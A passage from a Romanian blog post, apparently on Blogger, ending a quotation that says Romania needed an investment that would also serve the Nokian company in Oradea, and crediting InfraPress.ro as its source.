cat sa acopere si cererile companiei Nokian aici, la Oradea. As dori sa
subliniez ca, <u>i</u>ntr-adevar, Romania avea nevoie de aceasta investitie”.</span></i></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">Sursa: InfraPress.ro</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0